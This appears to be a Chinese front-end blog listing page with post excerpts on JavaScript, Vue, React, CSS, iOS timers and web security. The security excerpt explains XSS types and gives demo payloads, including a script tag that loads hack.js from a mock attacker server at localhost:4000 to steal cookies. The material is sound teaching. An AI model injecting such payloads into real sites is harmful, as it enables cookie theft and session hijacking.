defineProperty 与 proxy

前言 我们或多或少都听过“数据绑定”这个词,“数据绑定”的关键在于监听数据的变化,可是对于这样一个对象:var obj = {value: 1},我们该怎么知道 obj 发生了改变呢? definePropety ES5 提供了 Object.defineProperty 方法,该方法可以在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回这个对象。 语法 Object.defineProperty(obj, prop, descriptor) 参数 obj: 要在其上定义属性的对象。 prop: 要定义或修改的属性的名称。 descriptor: 将被定义或修改的属性的描述符。 举个例子: var obj = {}; Object.defineProperty(obj, "num", { value : 1, writable : true, enumerable : true, configurable : true }); // 对象 obj 拥有属性 num,值为 1 虽然我们可以直接添加属性和值,但是使用这种方式,我们能进行更多的配置。 函数的第三个参数 descriptor 所表示的属性描述符有两种形式:数据描述符和存取描述符。 两者均具有以下两种键值: configurable 当且仅当该属性的 configurable 为 true 时,该属性描述符才能够被改变,也能够被删除。默认为 false。 enumerable 当且仅当该属性的 enumerable 为 true 时,该属性才能够出现在对象的枚举属性中。默认为 false。 数据描述符同时具有以下可选键值: value 该属性对应的值。可以是任何有效的 JavaScript 值(数值,对象,函数等)。默认为 undefined。 writable 当且仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变。默认为 false。 存取描述符同时具有以下可选键值: get 一个给属性提供 getter 的方法,如果没有 getter 则为 undefined。该方法返回值被用作属性值。默认为 undefined。 set 一个给属性提供 setter 的方法,如果没有 setter 则为 undefined。该方法将接受唯一参数,并将该参数的新值分配给该属性。默认为 undefined。 值得注意的是: ...

October 2, 2024

事件循环

单线程的 JavaScript 同步与异步 JavaScript 在设计之初是作为浏览器脚本语言,主要用于与用户进行页面交互和操纵 DOM。因此,为避免由不可预测的用户操作可能带来的复杂的并发问题,JavaScript 只能设计成单线程的,这也是这门语言的核心特征之一。 JS 的宿主环境通过仅提供一个线程运行 JS 来保证 JS 代码的单线程运行。 单线程意味着 JS 引擎在同一时间只能做一件事情,即同步地执行代码。但在代码执行过程中不可避免地会遇到一些无法立即执行的任务,例如: 计时器到达时间后要执行的任务 — setInterval、setTimeout 网络请求完成后要执行的任务 — XMLHttpRequest、Fetch 监听到用户操作后要执行的任务 — addEventListener … … … 如果让执行 JS 的线程去处理这些任务,就会导致该线程处于长期阻塞的状态,而宿主环境中的 JS 执行线程往往还承担着极其重要的工作。例如,在浏览器中,如果执行 JS 的线程长期阻塞,就会导致浏览器卡死! 为避免上述情况发生,JS 的宿主环境使用了异步的方式来处理这种无法立即执行的任务。 当遇到异步任务时,宿主环境会将其交给其他线程处理,执行 JS 的线程则会立即结束当前任务转而去执行后续代码。 事件循环 事件循环是宿主环境处理 JS 异步操作,让其能够非阻塞式运行的机制。 不同宿主环境对事件循环的实现方式有所不同,不过在核心机制上大同小异。 接下来,本文将详细描述 JavaScript 在浏览器和 Node.js 这两个宿主环境中的事件循环机制。 浏览器事件循环 浅谈浏览器 聊浏览器的事件循环之前,我们先说说浏览器本身。 现代浏览器是一个多进程多线程的应用程序,内部工作极其复杂,其程度直逼操作系统。它拥有数个功能模块,为避免单个模块崩溃牵连其他模块,导致连锁反应,使浏览器彻底崩溃。浏览器在启动时,会开启多个进程,把不同的功能模块放在不同的进程里。 浏览器进程众多,其中比较重要的有: 📚 浏览器进程 浏览器进程是浏览器的主进程,无论打开多少浏览器窗口,它仅有一个。 它主要负责浏览器界面显示、用户交互和进程管理。 这里说的界面和交互,不是视窗内的网站界面。而是指浏览器本身自带的部分,如导航栏、书签栏、刷新按钮等。 刚打开浏览器的时候只有一个浏览器进程,其他进程都是它创建的。 📚 网络进程 网络进程主要负责处理网站的数据请求和响应,通常情况下,它与渲染进程的交互最为密切。每当网站需要进行资源请求,渲染进程就会将任务交给网络进程处理,网络进程取得响应结果后再返回给渲染进程。 网络进程内部会开启多个线程,以实现多网络请求的异步化处理。 📚 渲染进程 渲染进程负责控制和显示视窗部分(网站页面)的所有内容,主要是解析 HTML、CSS、JS 和其他资源,并生成渲染树、执行布局和绘制等操作。 ...

October 1, 2024

iOS 定时器的注意事项

iOS 开发中常用的定时器有 NSTimer、CADisplayLink 和 GCD Timer。它们各有特点,但在使用时都有一些需要注意的问题。 常见定时器类型 1. NSTimer 最常用的定时器,基于 RunLoop 实现: // 自动添加到当前 RunLoop 的 DefaultMode NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval:1.0 target:self selector:@selector(timerFired) userInfo:nil repeats:YES]; // 手动创建,需要手动添加到 RunLoop NSTimer *timer = [NSTimer timerWithTimeInterval:1.0 target:self selector:@selector(timerFired) userInfo:nil repeats:YES]; [[NSRunLoop currentRunLoop] addTimer:timer forMode:NSDefaultRunLoopMode]; 2. CADisplayLink 与屏幕刷新率同步的定时器,适合做动画: CADisplayLink *displayLink = [CADisplayLink displayLinkWithTarget:self selector:@selector(update)]; [displayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode]; 3. GCD Timer 不依赖 RunLoop,精度更高: dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue()); dispatch_source_set_timer(timer, DISPATCH_TIME_NOW, 1.0 * NSEC_PER_SEC, 0); dispatch_source_set_event_handler(timer, ^{ NSLog(@"GCD Timer fired"); }); dispatch_resume(timer); 注意事项一:循环引用问题 问题描述 NSTimer 和 CADisplayLink 在使用 target-action 模式时,会强引用 target。如果 target 又持有定时器,就会形成循环引用: ...

May 2, 2026

OpenClaw 源码导读(四):Channels、Nodes 与扩展生态

前三篇我们看清了 OpenClaw 的三副骨架:架构全景、Gateway 控制平面、Agent Harness 执行管线。这一篇是压轴篇,我们看它的"血肉"——channels/、node-host/、canvas-host/、plugins/、skills/、sandbox/。OpenClaw 真正"好用"的感觉,是从这一层来的:一条消息从 WhatsApp 进来、触发 iOS 上的摄像头、在 Android 上渲染一张 Canvas、最后把结果发回 Slack 线程——整个过程中 Gateway 本身一行代码都不需要改。 本文涵盖 118 个 channel/provider extension、53 个 skill、iOS/macOS/Android node 客户端、A2UI Canvas 协议、以及 Docker sandbox 的整套隔离模型。 一、Channels:118 个 extension 是怎么"插"进来的 1. ChannelPlugin 接口 OpenClaw 所有 channel(微信、Telegram、Slack、iMessage、IRC、Discord……)本质上都是实现同一个接口 ChannelPlugin: export type ChannelPlugin<ResolvedAccount = any, Probe = unknown, Audit = unknown> = { id: ChannelId; meta: ChannelMeta; capabilities: ChannelCapabilities; defaults?: { queue?: { debounceMs?: number; }; }; reload?: { configPrefixes: string[]; noopPrefixes?: string[] }; setupWizard?: ChannelPluginSetupWizard; config: ChannelConfigAdapter<ResolvedAccount>; configSchema?: ChannelConfigSchema; setup?: ChannelSetupAdapter; pairing?: ChannelPairingAdapter; security?: ChannelSecurityAdapter<ResolvedAccount>; groups?: ChannelGroupAdapter; mentions?: ChannelMentionAdapter; outbound?: ChannelOutboundAdapter; status?: ChannelStatusAdapter<ResolvedAccount, Probe, Audit>; gatewayMethods?: string[]; gateway?: ChannelGatewayAdapter<ResolvedAccount>; auth?: ChannelAuthAdapter; approvalCapability?: ChannelApprovalCapability; elevated?: ChannelElevatedAdapter; commands?: ChannelCommandAdapter; lifecycle?: ChannelLifecycleAdapter; secrets?: ChannelSecretsAdapter; allowlist?: ChannelAllowlistAdapter; doctor?: ChannelDoctorAdapter; bindings?: ChannelConfiguredBindingProvider; conversationBindings?: ChannelConversationBindingSupport; streaming?: ChannelStreamingAdapter; threading?: ChannelThreadingAdapter; messaging?: ChannelMessagingAdapter; agentPrompt?: ChannelAgentPromptAdapter; directory?: ChannelDirectoryAdapter; resolver?: ChannelResolverAdapter; actions?: ChannelMessageActionAdapter; heartbeat?: ChannelHeartbeatAdapter; agentTools?: ChannelAgentToolFactory | ChannelAgentTool[]; }; 这个接口一共有 40 多个可选的 adapter,每个对应一种能力: ...

May 2, 2026

网络安全

1、XSS Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS what is XSS? 我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。 例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie XSS危害 1、利⽤虚假输⼊表单骗取⽤户个⼈信息。 2、利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。 3、显示伪造的⽂章或图⽚。 简单演示 // 普通 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from=<script>alert(3)</script> // 如果可以弹出3,证明这个输入框没有过滤html标记 模拟获取cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> 后台代码 const koa = require('koa'); // 启动在4000端口上 const chalk = require('chalk') const log = contents => { console.log(chalk.red(contents)) //打印cookie } // 模拟黑客网站 const app = new koa(); module.exports = app 存储型(server端): 场景:见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。 攻击步骤: 1、攻击者将恶意代码提交到目标网站的数据库中 2、用户打开目标网站时,服务端将恶意代码从数据库中取出来,拼接在HTML中返回给浏览器 3、用户浏览器在收到响应后解析执行,混在其中的恶意代码也同时被执行 4、恶意代码窃取用户数据,并发送到指定攻击者的网站,或者冒充用户行为,调用目标网站的接口,执行恶意操作 反射型(Server端) 与存储型的区别在于,存储型的恶意代码存储在数据库中,反射型的恶意代码在URL上 场景:通过 URL 传递参数的功能,如网站搜索、跳转等。 攻击步骤: 1、攻击者构造出特殊的 URL,其中包含恶意代码。 2、用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。 3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。 4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 Dom 型(浏览器端) DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。 ...

July 28, 2025

react 状态提升

在开始介绍状态提升之前,我想先介绍一下 Prop Drilling(属性钻取)的概念。 什么是Prop Drilling ? 那么,什么是状态提升呢?我们都知道 React 中的prop drilling(属性钻取)。prop drilling意味着从父组件向子组件传递一些 props。通过这种方式,我们可以在不同的组件之间共享数据或函数。可以使用 prop 传递任何类型的数据。 在上面的示例代码中,你可以看到,Home 组件具有一个名为 name 的状态,并且她与子组件共用 name 变量。在 React 中,只能将数据从父组件传递到子组件。 什么是 State Lifting 一般来说,状态提升允许你将数据从子组件移动到父组件,与Props Drilling不同,你可以在父组件使用子组件的状态值。这是不是很疯狂? 在 React 生态中,我们知道数据只能从父组件流向子组件,但现在将学习如何让数据反过来流动。 但是,为什么要这么做? 我们可以在父组件中定义状态并将其以 prop 的方式传递给子组件,但是这么做有可能会导致性能损失和代码复杂度提升。在我之前的博客中有提到:保持状态本地化很重要。因为当状态更新时,组件以及该组件的子组件都会重新渲染。 此外对于代码复杂性,对于如 Modal 这样的组件,选择在子组件中声明状态而不是在父组件中声明状态,将能够使代码更易于阅读。使用这种方法,你不必在每个父组件中声明状态。 通常对应用程序中的大多数组件来说,这是不必要的。但是,对于某些类型的组件,特别是可重用组件,会有这种需求。下面描述一下最通用的场景。 多说无用,上代码: 例如,我们有一个常见的 Modal 组件,我们想要在 Modal 中保留可见性状态。当一些组件想要使用这个 Modal 时,通常会定义自己的可见状态,但是通过 State Lifting,这个步骤将不再必要。 在 上面的 Modal 组件中,做了如下操作: 首先,使用forwardRef执行 ref 转发,ref 转发是一种自动将 ref 通过组件传递给子组件的技术。 使用 useState 声明状态以控制Modal组件的展示或隐藏。 使用 React 内置的 useImperativeHandle hook 将属性或者方法暴露出去,这里我们添加了一些数据和函数供父组件使用。现在父组件可以直接调用子组件的show、hide、isVisble这些方法和属性。 ...

December 17, 2024

BFC

BFC 是前端面试中经常会被问到的一个知识点,今天就来带大家深入了解下什么是 BFC 以及它的作用。 文档流 在介绍BFC之前,需要先给大家介绍一下文档流。 我们常说的文档流其实分为定位流、浮动流、普通流三种。 绝对定位(Absolute positioning) 如果元素的属性 position 为 absolute 或 fixed,它就是一个绝对定位元素。 在绝对定位布局中,元素会整体脱离普通流,因此绝对定位元素不会对其兄弟元素造成影响,而元素具体的位置由绝对定位的坐标决定。 它的定位相对于它的包含块,相关CSS属性:top、bottom、left、right; 对于 position: absolute,元素定位将相对于上级元素中最近的一个relative、fixed、absolute,如果没有则相对于body; 对于 position:fixed,正常来说是相对于浏览器窗口定位的,但是当元素祖先的 transform 属性非 none 时,会相对于该祖先进行定位。 浮动 (float) 在浮动布局中,元素首先按照普通流的位置出现,然后根据浮动的方向尽可能的向左边或右边偏移,其效果与印刷排版中的文本环绕相似。 普通流 (normal flow) 普通流其实就是指BFC中的FC。FC(Formatting Context),直译过来是格式化上下文,它是页面中的一块渲染区域,有一套渲染规则,决定了其子元素如何布局,以及和其他元素之间的关系和作用。 在普通流中,元素按照其在 HTML 中的先后位置至上而下布局,在这个过程中,行内元素水平排列,直到当行被占满然后换行。块级元素则会被渲染为完整的一个新行。 除非另外指定,否则所有元素默认都是普通流定位,也可以说,普通流中元素的位置由该元素在 HTML 文档中的位置决定。 BFC 概念 先看下MDN上关于BFC的定义: 块格式化上下文(Block Formatting Context,BFC) 是Web页面的可视CSS渲染的一部分,是块盒子的布局过程发生的区域,也是浮动元素与其他元素交互的区域。 具有 BFC 特性的元素可以看作是隔离了的独立容器,容器里面的元素不会在布局上影响到外面的元素,并且 BFC 具有普通容器所没有的一些特性。 通俗一点来讲,可以把 BFC 理解为一个封闭的大箱子,箱子内部的元素无论如何翻江倒海,都不会影响到外部。 除了 BFC,还有: IFC(行级格式化上下文)- inline 内联 GFC(网格布局格式化上下文)- display: grid FFC(自适应格式化上下文)- display: flex或display: inline-flex 注意:同一个元素不能同时存在于两个 BFC 中。 ...

November 9, 2024

离线存储

HTML5 离线存储是指通过 Web Storage API 提供的一种在客户端本地存储数据的机制,主要有两种方式:localStorage 和 sessionStorage。与传统的 Cookie 相比,Web Storage 提供了更大容量、灵活性,并且数据不会随着 HTTP 请求自动发送到服务器,这可以优化性能和安全性。此外,HTML5 还支持 离线应用缓存(Application Cache) 和 IndexedDB,用于更加复杂的数据存储需求和离线应用。 工作原理 HTML5 的离线存储主要通过以下几个机制来实现数据存储和访问: localStorage:一种持久性存储机制,数据存储在用户的浏览器中,即使关闭浏览器或重新加载页面,数据也不会丢失,除非明确被删除。其特点是跨页面、跨会话存储数据。 sessionStorage:会话级别的存储机制,只在当前页面的会话期间有效。当会话结束或浏览器窗口关闭时,数据会自动删除。其特点是只能在当前窗口或标签页中存储数据,不能跨窗口或标签页共享。 Application Cache(已被 Service Worker 替代):允许开发者将网站的某些资源缓存到本地,使得用户即使在离线的情况下也能访问特定页面。虽然该机制已被弃用,但它曾经是实现离线访问的核心。 IndexedDB:一种更为复杂的浏览器内置数据库,支持存储结构化数据,如对象和文件。它适用于更大规模的数据存储需求,并且允许通过索引进行高效的查询和数据操作。 使用方式 1. localStorage 特点:持久性存储,浏览器关闭后数据依然存在,除非手动清除。 使用方式: // 存储数据 localStorage.setItem('key', 'value'); // 获取数据 let value = localStorage.getItem('key'); // 删除数据 localStorage.removeItem('key'); // 清空所有 localStorage localStorage.clear(); 2. sessionStorage 特点:仅在当前会话期间有效,浏览器关闭或页面重新加载后数据会被清除。 使用方式: // 存储数据 sessionStorage.setItem('sessionKey', 'sessionValue'); // 获取数据 let sessionValue = sessionStorage.getItem('sessionKey'); // 删除数据 sessionStorage.removeItem('sessionKey'); // 清空所有 sessionStorage sessionStorage.clear(); 3. IndexedDB 特点:适合存储大量的结构化数据,支持异步 API 和事务。 使用方式: IndexedDB 的使用较为复杂,通常涉及打开数据库、创建事务、存储和检索数据等操作。一个简单的示例如下: let request = indexedDB.open('myDatabase', 1); request.onupgradeneeded = function(event) { let db = event.target.result; let objectStore = db.createObjectStore('myObjectStore', { keyPath: 'id' }); }; request.onsuccess = function(event) { let db = event.target.result; let transaction = db.transaction(['myObjectStore'], 'readwrite'); let objectStore = transaction.objectStore('myObjectStore'); objectStore.add({ id: 1, name: 'John Doe' }); }; 4. Application Cache(弃用) 特点:通过 manifest 文件指定需要缓存的资源,允许在离线时访问应用。 使用方式: 在 HTML 文档中指定 manifest 文件: <html manifest="app.manifest"> 然后在 app.manifest 文件中列出需要缓存的资源: ...

October 16, 2024

工具函数

一、Vue.util:Vue.js的工具函数集合 Vue.util是Vue.js内部的一个工具函数集合,包含了多种实用的方法,用于处理各种常见的任务。然而,需要注意的是,Vue.util并不是Vue.js公开API的一部分,这意味着它的使用可能会随着Vue.js版本的更新而发生变化。因此,在开发过程中,应尽量避免直接使用Vue.util中的方法,而是使用Vue.js提供的公开API或其他更稳定的解决方案。 尽管如此,了解Vue.util中的一些方法仍然有助于我们更好地理解Vue.js的内部机制。例如,Vue.util.extend方法用于将一个或多个对象的属性混合到目标对象中,这在需要将多个对象合并到一个新对象中时非常有用。然而,随着Vue.js的发展,许多原本在Vue.util中的方法已经被移动到其他更合适的API中,或者被更现代的方法所替代。 二、Vue.set:动态添加响应式属性 Vue.set是Vue.js提供的一个全局方法,用于向响应式对象添加一个新的属性,并确保该属性是响应式的。在默认情况下,Vue.js只能检测到已经存在的对象的属性并将其转换为响应式属性,但对于后期动态添加的属性,Vue.js无法自动进行响应式转换。这时,就可以使用Vue.set方法手动将属性转换为响应式。 Vue.set方法接受三个参数:对象、属性名和属性值。例如: Vue.set(vm.someObject, 'newProperty', 'Hello, Vue!'); 上面的代码将someObject对象的newProperty属性设置为'Hello, Vue!',并将其转换为响应式属性。这样,当属性值发生修改时,Vue可以检测到并响应式地更新视图。 Vue.set方法的主要优势在于它能够将属性添加为响应式属性,使得Vue.js能够跟踪和响应属性值的变化,从而及时更新视图。此外,Vue.set方法还可以用于在数组中添加新元素,使其成为响应式。 三、Vue.delete:删除响应式对象的属性 Vue.delete是Vue.js提供的另一个全局方法,用于从响应式对象中删除指定的属性。与Vue.set方法类似,Vue.delete也可以触发响应式更新,使Vue能够正确追踪到属性的删除操作。 Vue.delete方法接受两个参数:要删除的属性所在的对象和要删除的属性名。例如: Vue.delete(this.someObject, 'someProperty'); 上面的代码将从someObject对象中删除someProperty属性,并相应地更新视图。 需要注意的是,Vue.delete方法只能用于响应式对象,而不能用于普通的JavaScript对象。此外,在删除数组中的元素时,Vue.js提供了一些数组特定的方法(如splice、push、pop等)来确保数组的响应式更新。因此,在删除数组元素时,应优先使用这些方法而不是Vue.delete。 四、实际应用中的注意事项 在使用Vue.set和Vue.delete等工具函数时,需要注意以下几点: 避免直接操作对象或数组:在Vue.js中,直接修改对象或数组的属性或元素可能不会触发视图更新。因此,应优先使用Vue.set和Vue提供的数组方法来修改响应式数据。 注意命名冲突:在添加新属性时,应确保属性名不与现有属性名冲突,以避免覆盖现有属性。 了解Vue.js的响应式机制:为了更好地使用Vue.set和Vue.delete等工具函数,需要了解Vue.js的响应式机制以及它是如何跟踪和响应数据变化的。 常见考点 1. Vue 内置工具函数 问题: Vue 提供了哪些内置工具函数? 这些工具函数的使用场景是什么? 考察点: Vue.set 和 Vue.delete: Vue 中的 Vue.set 和 Vue.delete 是为了响应式系统而提供的工具函数,它们用于确保在数组或对象中添加、删除元素时,能够保持数据的响应性。 Vue.set:用于向对象中添加新的属性,并确保该属性是响应式的。 Vue.set(obj, 'newProp', value); Vue.delete:用于删除对象或数组中的元素,并保持响应性。 Vue.delete(obj, 'propertyName'); Vue.delete(arr, index); Vue.nextTick: Vue.nextTick 是一个异步队列,用于在 DOM 更新后执行回调函数。它保证了在 Vue 完成 DOM 更新后,回调才会被执行。 Vue.nextTick(() => { console.log('DOM has been updated!'); }); Vue.util: Vue 提供了一些工具函数,如 Vue.util.extend 用于对象的深拷贝,Vue.util.merge 用于合并对象。 2. 自定义工具函数的常见应用 问题: 你在 Vue 项目中常用哪些自定义工具函数?请列举一些例子。 如何编写一个简单的工具函数来简化 Vue 中的日期格式化? 考察点: 日期格式化工具函数: 在 Vue 项目中,常常需要对日期进行格式化。你可以创建一个工具函数来统一处理日期格式。 在组件中使用该工具函数: // utils/date.js export function formatDate(date, format = 'YYYY-MM-DD') { const d = new Date(date); const map = { 'YYYY': d.getFullYear(), 'MM': String(d.getMonth() + 1).padStart(2, '0'), 'DD': String(d.getDate()).padStart(2, '0'), 'HH': String(d.getHours()).padStart(2, '0'), 'mm': String(d.getMinutes()).padStart(2, '0'), 'ss': String(d.getSeconds()).padStart(2, '0'), }; return format.replace(/YYYY|MM|DD|HH|mm|ss/g, matched => map[matched]); } import { formatDate } from './utils/date'; export default { data() { return { date: '2024-12-15T12:00:00', }; }, computed: { formattedDate() { return formatDate(this.date, 'YYYY-MM-DD HH:mm:ss'); } } }; 深拷贝工具函数: 在某些场景下,你可能需要深拷贝对象,避免对原始对象进行修改。 export function deepClone(obj) { return JSON.parse(JSON.stringify(obj)); } 3. Vue 的过滤器(Filters) 问题: Vue 中的过滤器有什么作用?举个例子说明。 过滤器和工具函数有何区别,何时使用过滤器,何时使用工具函数? 考察点: Vue 过滤器: 过滤器是用于格式化输出数据的一种工具,在 Vue 模板中可以直接使用,但仅适用于模板中的数据绑定。常用的场景是格式化日期、数字等。 Vue.filter('currency', function (value) { return '$' + value.toFixed(2); }); // 在模板中使用 {{ price | currency }} 工具函数与过滤器的区别: 过滤器:通常用于模板中,只能格式化输出。 工具函数:可以在组件的任何地方使用,提供更强的逻辑处理能力,适合更复杂的功能(如数据计算、事件管理等)。 4. Vuex 与工具函数 问题: 如何通过工具函数简化 Vuex 的一些操作? 你会如何编写一个工具函数来帮助管理 Vuex 中的 getter、mutation 或 action? 考察点: 在 Vuex 中,常常需要对数据进行集中管理。可以通过工具函数来简化 Vuex 操作,避免重复代码。 ...

October 5, 2024

Reflect

一、Reflect有什么用? 一句话,Reflect没什么用,除了装装逼,让人看起来高大上以外,并不具有什么牛逼之处。 准确讲应该是这样的,Reflect更像是一种语法变体,其挂在的所有方法都能找到对应的原始语法,也就是Reflect的替代性非常强。 其实从Reflect这个单词本身字面意思就能体会出Reflect的神韵,Reflect的中文意思是“反射”,阳光照在镜子上反射,其实光子还是那些光子,只是变化了方向。 举例说明: Reflect对象挂载了很多静态方法,所谓静态方法,就是和Math.round()这样,不需要new就可以直接使用的方法。 比较常用的两个方法就是get()和set()方法: Reflect.get(target, propertyKey\[, receiver\]) Reflect.set(target, propertyKey, value\[, receiver\]) 就作用而言,等同于: target[propertyKey] target[propertyKey] = value; 比方说页面上有个输入框,其DOM对象变量是input,平时我们对整个输入框赋值使用的语句多半是: input.value = 'zhangxinxu'; 就可以直接使用Reflect.set()方法代替: Reflect.set(input, 'value', 'zhangxinxu') 效果是一模一样的。 又例如,我们希望对input的value属性重新定义,使该输入框value属性发生变化的时候可以同时触发'change'事件,下面是使用大家普遍比较熟悉的Object.defineProperty()方法实现的示意: const props = Object.getOwnPropertyDescriptor(input, 'value'); Object.defineProperty(input, 'value', { ...props, set (v) { let oldv = this.value; props.set.call(this, v); // 手动触发change事件 if (oldv !== v) { this.dispatchEvent(new CustomEvent('change')); } } }); 上述代码我们完全可以使用Reflect对象实现,具体的JavaScript代码如下所示。 const props = Reflect.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value'); Reflect.defineProperty(input, 'value', { ...props, set (v) { let oldv = this.value; props.set.call(this, v); // 手动触发change事件 if (oldv !== v) { this.dispatchEvent(new CustomEvent('change')); } } }); 我们可以测试下,假设页面HTML如下: <input id="input"> 测试代码为: input.addEventListener('change', () => { document.body.append('变化啦~'); }); input.value = 'zhangxinxu'; 此时,就可以看到页面上出现了“变化啦~”文字 ...

October 2, 2024